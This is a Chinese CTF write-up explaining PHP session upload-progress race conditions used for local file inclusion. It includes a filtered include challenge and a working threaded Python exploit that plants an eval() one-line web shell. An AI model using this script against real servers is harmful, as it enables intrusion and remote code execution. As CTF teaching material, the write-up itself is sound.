session条件竞争
一些前提知识点:
什么是session
session是会话的意思,Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。
利用条件
环境中有文件包含漏洞,但是没有可以利用的文件时
session会话在服务器中存储的方式
PHP将session以文件的形式存储服务器的文件中,session.save_path来控制
存储的默认路径如下:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
但是我遇到的一般都是/tmp/sess_PHPSESSID
同时也要具备一些配置条件的开启
session.upload_progress.enabled = on:该参数设置为On时,才会进行文件上传进度的记录。
session.upload_progress.cleanup = on:该参数开启时,会在文件上传结束时对用户session内容进行自动清除。
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS": 该参数与prefix作为我们的键名。方便我们的shell编写,可控。
session.upload_progress.prefix = "upload_progress_":该参数表示与name一起构成我们的键名。
接下来利用一个ctf题来展现一下session条件竞争叭
(懒得搭环境了捏)
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
很明显这道题的考点是文件包含漏洞,然而过滤了php、data、冒号与点
在网站目录文件未知、php与data也被过滤的情况下是不方便进行普通的文件包含的,因此我们可以尝试进行session文件包含
其实上面说的session条件竞争与文件包含是相关联的,本质上就是通过上传一个文件来产生一个session文件,再在session文件被服务器删除之前进行条件竞争来包含这个session文件,从而植入木马。
下面是session条件竞争的python脚本:
import io
import requests
import threading
url = 'https://226ff30f-525a-45c1-9999-7c63ed94fb44.challenge.ctf.show/'
sessionid = 'meteorkai'#为session文件名赋值
def write(session): # 写入临时文件,使session文件产生
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb 伪造一个图片文件
session.post(url, cookies={'PHPSESSID': sessionid}, data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php file_put_contents('/var/www/html/shell.php','<?php eval($_POST[1]);?>');?>"}, files={'file': ('1.jpg', fileBytes)}, verify=False)#在session文件中写入"<?php file_put_contents('/var/www/html/shell.php','<?php eval($_POST[1]);?>');?>"命令,这个命令其实是在网站目录下写入一个一句话木马。
def read(session):
while True:
session.get(url+'?file=/tmp/sess_'+sessionid, verify=False) # 进行文件包含
r = session.get(url+'shell.php', verify=False) # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')
evnet = threading.Event() # 多线程
session = requests.session()
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()
注意:如果目标是https网站,要在session.get和session.posst中加上verify=False,不加的话会因为证书原因一直报错,烦得很。运行后发现ok后说明shell.php已经写入。
然后就可以利用一句话木马来拿到flag啦!

浙公网安备 33010602011771号